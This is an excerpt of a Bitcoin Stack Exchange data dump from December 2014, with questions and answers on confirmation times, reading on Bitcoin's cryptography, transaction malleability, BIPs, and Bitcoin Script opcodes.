  <row Id="34003" PostTypeId="1" AcceptedAnswerId="34012" CreationDate="2014-12-12T20:25:21.557" Score="0" ViewCount="685" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How much time does it take to get first confirmation for transaction? I don't need the exact number of minutes, just some useful approximation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/charts/avg-confirmation-time&quot; rel=&quot;nofollow&quot;&gt;I found this chart of average confirmation times&lt;/a&gt;, but I'm not sure that it's the time just for first confirmation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When a transaction isn't confirmed, lets say n hours, will it be in the getrawmempool list all that time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7106" LastEditorUserId="2306" LastEditDate="2014-12-12T21:10:47.810" LastActivityDate="2014-12-13T00:22:50.230" Title="What is min time to get first confirmation for transaction?" Tags="|transactions|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34004" PostTypeId="1" CreationDate="2014-12-12T21:29:12.307" Score="6" ViewCount="1018" Body="&lt;p&gt;I'm a math student interested in Cryptography. Is there any paper or book which explains, in mathematics and cryptography terms, how bitcoin (more general, a digital cryptocurrency system) works? In my course book there is only about 4 pages on how cryptocurrencies work, but I'm hungry for more.&lt;/p&gt;&#xA;" OwnerDisplayName="user21502" LastEditorUserId="2306" LastEditDate="2014-12-13T04:35:28.243" LastActivityDate="2014-12-13T04:35:28.243" Title="Papers/Books on how bitcoin works from a mathematical perspective?" Tags="|encryption|cryptography|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34005" PostTypeId="2" ParentId="34004" CreationDate="2014-12-12T21:41:46.657" Score="2" Body="&lt;p&gt;www.springer.com catalog is worth checking out - technical and well respected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andreas Antonopolous has a book out from O'Reilly (it is also available on github).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/resources&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/resources&lt;/a&gt; - check out the Developer Guide here, it's great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your school library will probably have loads of journals or access to them online (eg IEEE or local equiv).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi's original whitepaper is very readable: &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/bitcoin.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin wiki.&lt;/p&gt;&#xA;" OwnerUserId="21468" LastActivityDate="2014-12-12T21:41:46.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34006" PostTypeId="2" ParentId="34004" CreationDate="2014-12-12T21:44:55.400" Score="2" Body="&lt;p&gt;There's enough resources online you probably don't need a book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some suggestions to get you started:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://shop.oreilly.com/product/0636920032281.do&quot; rel=&quot;nofollow&quot;&gt;Mastering Bitcoin: Unlocking Digital Cryptocurrencies&lt;/a&gt; by Andreas M. Antonopoulos. It's light on math, but is an excellent overview of all the pieces involved, in case you don't know yet what you want to deep-dive into.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.springer.com/computer/security+and+cryptology/book/978-0-387-95273-4&quot; rel=&quot;nofollow&quot;&gt;Guide to Elliptic Curve Cryptography&lt;/a&gt; by Hankerson, Darrel; Menezes, Alfred J.; Vanstone, Scott&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.johannes-bauer.com/compsci/ecc/&quot; rel=&quot;nofollow&quot;&gt;Elliptic Curve Cryptography Tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hosteddocs.ittoolbox.com/AN1.5.07.pdf&quot; rel=&quot;nofollow&quot;&gt;Elliptic Curve Cryptography: An Implementation Tutorial&lt;/a&gt; by Anoop MS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2014-12-12T21:44:55.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34007" PostTypeId="2" ParentId="34004" CreationDate="2014-12-12T21:46:04.260" Score="2" Body="&lt;p&gt;Very little of Bitcoin is new cryptography. Most of the cryptography in Bitcoin has been around for a pretty long time. Some of it is a little obscure, like &lt;a href=&quot;http://www.hashcash.org/papers/hashcash.pdf&quot; rel=&quot;nofollow&quot;&gt;Hashcash&lt;/a&gt; or ECDSA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Saotshi Nakmoto's original paper&lt;/a&gt; is a good resource for how Bitcoin works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also check out the cryptography papers that he references: (there aren't many)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;W. Dai, &quot;b-money,&quot; &lt;a href=&quot;http://www.weidai.com/bmoney.txt&quot; rel=&quot;nofollow&quot;&gt;http://www.weidai.com/bmoney.txt&lt;/a&gt;, 1998.&lt;/li&gt;&#xA;  &lt;li&gt;H. Massias, X.S. Avila, and J.-J. Quisquater, &quot;Design of a secure timestamping service with minimal trust requirements,&quot; In 20th&#xA;  Symposium on Information Theory in the Benelux, May 1999.&lt;/li&gt;&#xA;  &lt;li&gt;S. Haber, W.S. Stornetta, &quot;How to time-stamp a digital document,&quot; In Journal of Cryptology, vol 3, no 2, pages 99-111, 1991.&lt;/li&gt;&#xA;  &lt;li&gt;D. Bayer, S. Haber, W.S. Stornetta, &quot;Improving the efficiency and reliability of digital time-stamping,&quot; In Sequences II: Methods in&#xA;  Communication, Security and Computer Science, pages 329-334, 1993.&lt;/li&gt;&#xA;  &lt;li&gt;S. Haber, W.S. Stornetta, &quot;Secure names for bit-strings,&quot; In Proceedings of the 4th ACM Conference on Computer and Communications&#xA;  Security, pages 28-35, April 1997.&lt;/li&gt;&#xA;  &lt;li&gt;A. Back, &quot;Hashcash - a denial of service counter-measure,&quot; &lt;a href=&quot;http://www.hashcash.org/papers/hashcash.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.hashcash.org/papers/hashcash.pdf&lt;/a&gt;, 2002.&lt;/li&gt;&#xA;  &lt;li&gt;R.C. Merkle, &quot;Protocols for public key cryptosystems,&quot; In Proc. 1980 Symposium on Security andPrivacy, IEEE Computer Society, pages&#xA;  122-133, April 1980.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-12T21:46:04.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34008" PostTypeId="2" ParentId="12453" CreationDate="2014-12-12T22:05:50.123" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://xapo.com&quot; rel=&quot;nofollow&quot;&gt;Xapo&lt;/a&gt; allows you to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When buying bitcoins with them you get a unique code which has to be added to the SEPA transfer. Any funds received with that code are automatically converted to BTC and added to your wallet, indifferent of the amount or from what account it is coming from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I get to think of it I see a great opportunity for a service which allows you to send a SEPA transfer with a &lt;strong&gt;bitcoin address&lt;/strong&gt; in the message field, automatically converting the fiat currency into BTC and transferring it to bitcoin address. Transfers with faulty addresses could be bounced, and like Xapo a 1% fee could make it worthwhile...&lt;/p&gt;&#xA;" OwnerUserId="4525" LastEditorUserId="2306" LastEditDate="2014-12-12T22:43:20.740" LastActivityDate="2014-12-12T22:43:20.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34009" PostTypeId="1" CreationDate="2014-12-12T22:34:38.990" Score="4" ViewCount="606" Body="&lt;p&gt;I've been reading a lot about transaction malleability, and noticed that the only way to achieve it is by altering the transaction signature/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does the protocol even consider the signature in the payload for SHA256?&#xA;The protocol should only consider inputs and outputs as they are, ignore the signatures. txID should only be altered by altering inputs or outputs, thats it. If anybody would like to alter any input or output to change the txID, he'll need to change signatures as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if you don't consider signatures while generating the txID, transaction malleability would be impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, let me know if I'm missing something here.&lt;/p&gt;&#xA;" OwnerUserId="14177" LastEditorUserId="14177" LastEditDate="2014-12-15T20:01:24.113" LastActivityDate="2014-12-15T20:01:24.113" Title="Why does txID generation consider signatures?" Tags="|transactions|signature|transaction-malleability|transaction-id|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34010" PostTypeId="1" AcceptedAnswerId="34014" CreationDate="2014-12-12T23:49:51.957" Score="2" ViewCount="275" Body="&lt;p&gt;It seems that a BIP (Bitcoin Improvement Proposal) is very similar to an RFC (Request for Comments). Can anybody confirm this, or describe major differences in the two approaches?&lt;/p&gt;&#xA;" OwnerUserId="21468" LastEditorUserId="2306" LastEditDate="2014-12-13T06:04:01.080" LastActivityDate="2014-12-13T06:04:01.080" Title="Is BIP analogous to RFC?" Tags="|terminology|bip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34011" PostTypeId="2" ParentId="29754" CreationDate="2014-12-13T00:15:23.970" Score="2" Body="&lt;p&gt;I ran across a comment from Mike Hearn in the context of the old OP_RETURN bug that seemed insightful:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The scripting system always struck me as a rather late addition to the&#xA;  design. Satoshi admitted as much when he said that he added it after&#xA;  encountering an explosion of special cases as he designed various types of&#xA;  contracts. The fact that there's an obvious bug in CHECKMULTISIG is more&#xA;  evidence of this part being a general rush job, along with Satoshis&#xA;  willingness to disable much of its functionality later with the IsStandard&#xA;  checks. Also the design of CHECKSIG is an obvious retrofit, it would have&#xA;  made far more sense to decompose it, and we never found a use case for 99%&#xA;  of the opcodes despite having successfully designed (redesigned?) all the&#xA;  contract types he ever mentioned.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/message/30479316/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/p/bitcoin/mailman/message/30479316/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2014-12-13T00:15:23.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34012" PostTypeId="2" ParentId="34003" CreationDate="2014-12-13T00:22:50.230" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The time to get a confirmation varies by the transaction fee, the transaction priority, and the rate of block creation.  In the upcoming Bitcoin 0.10, two new RPCs will be introduced that will help you estimate the number of blocks a transaction will take to get confirmation based on fee and priority (see notes below).  The rate of block creation is unpredictable over short spans of time---a single block can be found seconds after the previous block or take more than an hour. Over longer spans of time, it averages about one block every 10 minutes. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the transaction is ever going to get confirmed, it must be in some miner's memory pool.  If it was broadcast by a full node which has that transaction in its wallet, it will also be in that node's memory pool.  If you have access to either of those nodes, the &lt;code&gt;getrawmemorypool&lt;/code&gt; will return the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for whether it's in any other node's memory pool, that depends on whether or not it propagated to that node---assuming it pays a reasonable fee and is a standard transaction, it should propagate to most nodes within a few minutes (see &lt;a href=&quot;http://bitcoinstats.com/network/propagation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitcoinStats&lt;/a&gt;) and should stay there until the nodes shutdown.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Appendix&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the new &lt;code&gt;estimatefee&lt;/code&gt; RPC from Bitcoin Core 0.10.  The argument &lt;code&gt;6&lt;/code&gt; says &quot;tell me how much fee I need to pay per kilobyte to make it statistically likely my transaction will be included in the next 6 blocks&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli estimatefee 6&#xA;0.00026809&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the new &lt;code&gt;estimatepriority&lt;/code&gt; RPC.  The same deal, except priority is based on per-byte.  (Here's a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32233/bitcoin-transaction-priority-calculation&quot;&gt;SE answer about priority&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli estimatepriority 6&#xA;728784383.01282048&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the chance of finding a block within a certain number of minutes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dtrt.org/tmp/en-block-variance.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Variance http://dtrt.org/tmp/en-block-variance.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code to produce that plot in gnuplot is: &lt;code&gt;plot [0:60] 1-exp(-1/(600./60)*x)&lt;/code&gt; where 600 is the average number of seconds between blocks (10 minutes) and 60 is the number of seconds in a minute.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-12-13T00:22:50.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34013" PostTypeId="1" AcceptedAnswerId="34177" CreationDate="2014-12-13T02:45:06.640" Score="13" ViewCount="2478" Body="&lt;p&gt;Looking at the Bitcoin source (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/script.cpp#L843-L847&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.9.3/src/script.cpp#L843-L847&lt;/a&gt;, specifically), I ran into the use of the &lt;code&gt;OP_CODESEPARATOR&lt;/code&gt;. Am I right in interpreting this code that it is not always the case that the whole scriptPubKey is signed, but really just the part that is later than the most recent &lt;code&gt;OP_CODESEPARATOR&lt;/code&gt;? What happens if an &lt;code&gt;OP_IF&lt;/code&gt; causes an &lt;code&gt;OP_CODESEPARATOR&lt;/code&gt; to be skipped?&lt;/p&gt;&#xA;&lt;p&gt;It seems strange to me that the entire scriptPubKey isn't used for signing in all cases, so I'm guessing there is some use case for this that I haven't thought of. Does anyone know what this use case is?&lt;/p&gt;&#xA;&lt;p&gt;I've read through &lt;a href=&quot;https://bitcointalk.org/index.php?topic=52949.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this bitcointalk thread&lt;/a&gt;, but didn't really find any conclusion there.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="2279" LastEditDate="2020-06-21T00:26:49.243" LastActivityDate="2023-06-26T23:44:14.007" Title="What is OP_CODESEPARATOR used for?" Tags="|script|bitcoin-core-development|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="34014" PostTypeId="2" ParentId="34010" CreationDate="2014-12-13T02:47:49.337" Score="4" Body="&lt;p&gt;BIP's and RFC's are similar in that they&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;debate an implementation in the community in order to improve it, and&lt;/li&gt;&#xA;&lt;li&gt;produce documentation that's useful to other coders.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;However, they're different in a lot of other ways. This is largely because the two solve different problems: RFC's usually invent new protocols, whereas BIP's amend an existing system.&lt;/p&gt;&#xA;&lt;p&gt;Other differences:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;An RFC with a specific serial number always refers to a specific version of that document. If the RFC changes (and the change isn't something tiny, like spelling), it is assigned a new number.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, a BIP is expected to go through multiple major revisions in the Draft stage. Changes are instead tracked through version control.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc2223#section-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC approval process&lt;/a&gt; and the &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0001.mediawiki#BIP_Work_Flow&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP approval process&lt;/a&gt; are different.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;RFC's have &lt;em&gt;authors&lt;/em&gt;, BIP's have &lt;em&gt;champions&lt;/em&gt;. This isn't just a difference in terminology. The champion of a BIP needs to convince other people that it's a good idea before it will be accepted, whereas the RFC process is much less restrictive.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32083/who-specified-the-bitcoin-protocol/32085#32085&quot;&gt;Who specified the Bitcoin protocol?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5640/how-is-a-bip-accepted/18082#18082&quot;&gt;How is a BIP accepted?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2014-12-13T02:47:49.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34015" PostTypeId="2" ParentId="34009" CreationDate="2014-12-13T04:48:28.470" Score="0" Body="&lt;p&gt;I'll have to read up on Txn malleability but I do know that without actually signing the txn there's no way to prove ownership of the public key being spent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signing the txn will always give a different signature (unless the &lt;em&gt;k value&lt;/em&gt; is kept constant which was the source of the August 2013 Android bug). Ecdsa simply validates that the txn is signed with the correct key. A hash of the inputs and outputs is what's signed. So yes, that shouldn't change, but because the ECDSA signature does change the protocol is simply validating the signature. &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-12-13T04:48:28.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34016" PostTypeId="2" ParentId="4670" CreationDate="2014-12-13T05:56:41.333" Score="0" Body="&lt;p&gt;Yes, it did.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BIP: 16&#xA;Title: Pay to Script Hash&#xA;Author: Gavin Andresen &amp;lt;gavinandresen@gmail.com&amp;gt;&#xA;Status: Final&#xA;Type: Standards Track&#xA;Created: 2012-01-03&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Final is the stage after being accepted - it means that it's done.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow&quot;&gt;(Source.)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-13T05:56:41.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34017" PostTypeId="2" ParentId="18850" CreationDate="2014-12-13T06:17:22.770" Score="0" Body="&lt;p&gt;With Ethereum or similar technologies, crypto-cash can can be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You heard first here! :) With the new blockchain tech, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the money's not in the bank, the bank is in the money.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not bitcoin itself that I know of. &lt;/p&gt;&#xA;" OwnerUserId="21087" LastActivityDate="2014-12-13T06:17:22.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34018" PostTypeId="1" CreationDate="2014-12-13T08:38:40.023" Score="3" ViewCount="129" Body="&lt;p&gt;I submitted a new block using the rpc command &lt;code&gt;submit&lt;/code&gt;. And I just got a &quot;reject&quot; string without a reject reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the bitcoind source code, and found that it usually sends a reject reason; bitcoind would only omit a reason if the &lt;code&gt;strRejectReason&lt;/code&gt; is empty. Why and when would the &lt;code&gt;strRejectReason&lt;/code&gt; be empty?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static Value BIP22ValidationResult(const CValidationState&amp;amp; state)&#xA;{&#xA;    if (state.IsValid())&#xA;        return Value::null;&#xA;&#xA;    std::string strRejectReason = state.GetRejectReason();&#xA;    if (state.IsError())&#xA;        throw JSONRPCError(RPC_VERIFY_ERROR, strRejectReason);&#xA;    if (state.IsInvalid())&#xA;    {&#xA;        if (strRejectReason.empty())&#xA;            return &quot;rejected&quot;; // The value that gets returned&#xA;        return strRejectReason;&#xA;    }&#xA;    // Should be impossible&#xA;    return &quot;valid?&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/f914f1a746d7f91951c1da262a4a749dd3ebfa71/src/rpcmining.cpp#L302&quot; rel=&quot;nofollow&quot;&gt;Source.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21175" LastEditorUserId="5406" LastEditDate="2016-04-02T10:06:18.587" LastActivityDate="2016-04-02T10:06:18.587" Title="When does the &quot;reject&quot; string have an empty reject reason upon submitting a new block?" Tags="|bitcoind|json-rpc|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34019" PostTypeId="2" ParentId="18850" CreationDate="2014-12-13T11:22:10.427" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;https://bitcoin.stackexchange.com/a/34017/5406&quot;&gt;answer of Mallory-Erik&lt;/a&gt; falls a bit short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses Script to create and redeem transaction scripts. &lt;em&gt;Spend to Address&lt;/em&gt; is the most commonly used, but it is also possible to script other schemes. Some you might have heard about already are multisignature addresses, and contracts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Script&lt;/a&gt; is somewhat limited, as it is not Turing-complete, other than for example Ethereum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check out: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/547/5406&quot;&gt;Useful alternative Bitcoin transaction scripts&lt;/a&gt; - Features a comprehensive list of other scripts, although 3 years old.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/553/5406&quot;&gt;How do Scripts work?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You may also find interesting questions filed under &lt;a href=&quot;/questions/tagged/script&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;script&amp;#39;&quot; rel=&quot;tag&quot;&gt;script&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-12-17T22:56:59.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34021" PostTypeId="2" ParentId="18850" CreationDate="2014-12-13T14:39:33.383" Score="4" Body="&lt;p&gt;Bitcoin transactions are essentially the movement of coins, by encumbering the coins with a restriction on who may redeem them. Bitcoin's internal scripting language is used to accomplish this.The restrictions can be overcome by the owner of the coins, since only they can meet the requirements of that script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example is a pay-to-pubkey script. The network interprets this as: whoever can produce a signature from the private key of this public key, can spend the coins. It looks like this:&#xA;[public key] OP_CHECKSIG. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To redeem the coins, one provides a the right signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scripts can have varying degrees of complexity. For example:&#xA;OP_IF OP_2 [pubkey1] [pubkey2] OP_2 OP_CHECKMULTISIG OP_ELSE [publickey3] OP_CHECKSIG OP_ENDIF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script ensures that coins can only be redeemed if the owners of pubkey1 and pubkey2 provide a signature for a suggested transaction, OR, if the owner of publickey3 provides a signature. If either of these conditions are met, then the coins can be spent. That makes it programmable on a very low level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scripts are evaluated by the network whenever a transaction occurs, ensuring that the signatures or data which is provided actually meets the needs of the restrictions on the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And although distinct to bitcoins scripting language, since bitcoin software is usually networked to maintain up-to-date knowledge on which transactions are currently spent and unspent, you could write applications to move money around without any human intervention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a sense, most payments API's are programmable cash, but the scripting language bitcoin uses is as low as you can get.&lt;/p&gt;&#xA;" OwnerUserId="11123" LastEditorUserId="11123" LastEditDate="2014-12-15T09:05:06.277" LastActivityDate="2014-12-15T09:05:06.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34022" PostTypeId="2" ParentId="32166" CreationDate="2014-12-13T15:00:36.683" Score="1" Body="&lt;p&gt;Bitcoind only scrapes the blockchain for a few transaction types: Pay-to-pubkey, pay-to-pubkey-hash, and pay-to-script-hash. If you check &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt; you'll see many more script operators that can be used, so the protocol isn't just those three script types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the scripts have a very definite form, your client will look for the cases where the payments are to address YOU own instead of others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OP_DUP OP_HASH160 &amp;lt;20 byte hash&gt; OP_EQUALVERIFY OP_CHECKSIG  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If bitcoins were sent to this script but with other script operations at the end, your node wouldn't report them as spendable. &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Verifying this yourself is easy if you already have a working and completely correct script interpreter. You could look for non-standard outputs, since they do get mined on occasion.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, reproducing bitcoind's script interpreter, with bug-for-bug compatibility is tricky. Certain clients have been forked from the blockchain by not following every quirk in the reference implementation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you have this, you could write your own node if you liked. Listen for new blocks from the network, or just from bitcoind. Use your script interpreter to ensure that transactions in new blocks are valid, are correctly signed, and so on. Once you're confident the blockchain you end up with is correct, you can parse for the cases that bitcoind ignores and spend them if you can.&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-12-13T15:00:36.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34023" PostTypeId="2" ParentId="32880" CreationDate="2014-12-13T15:02:01.843" Score="3" Body="&lt;p&gt;Regarding this question, its probably worthwhile to check out Bittunes. The company was started in May 2013 with the mission to enable the monetization of file sharing with Bitcoin. The significance of this is that it is not about just using Bitcoin as a way to buy music, but actually incentivising buys (fans) to serve as a new kind of distribution channel for music. ~ In other words, its an 'earning platform' for both artists and fans. It is early days for the system, with many aspects still to roll out. see:  www.bittunes.com and www.bittunes.org for more detail.&lt;/p&gt;&#xA;" OwnerUserId="21510" LastActivityDate="2014-12-13T15:02:01.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34024" PostTypeId="1" CreationDate="2014-12-13T15:20:26.030" Score="1" ViewCount="1200" Body="&lt;p&gt;this is two weeks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to crack my MultiBit portfolio, I do not remember my password recorded in July; I have no old file save my wallet, the word must be no more than 15 characters and must be single and I need only 2-3 characters to remind me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked all over the web and bitcoin forums looking for a solution, but being French, the English pages are poorly translated and difficult to understand. My English is not very strong. I asked walletrecoveryservives, but he couldn't figure out my password using the ideas that I gave him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no more ideas; is the island cracker possible without ideas? Could you help me do it if it's possible?&lt;/p&gt;&#xA;" OwnerUserId="21511" LastEditorUserId="2306" LastEditDate="2014-12-13T16:33:49.623" LastActivityDate="2022-03-13T22:41:40.443" Title="Forgot password multibit" Tags="|wallet|multibit|wallet-security|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34025" PostTypeId="2" ParentId="11592" CreationDate="2014-12-13T18:41:20.593" Score="-1" Body="&lt;p&gt;You can &quot;Download the latest snapshot from our high-speed CDN&quot; on &lt;a href=&quot;http://bitcoin.network&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.network&lt;/a&gt; but it's not free. It seems to be always up-to-date.&lt;/p&gt;&#xA;" OwnerUserId="13566" LastActivityDate="2014-12-13T18:41:20.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
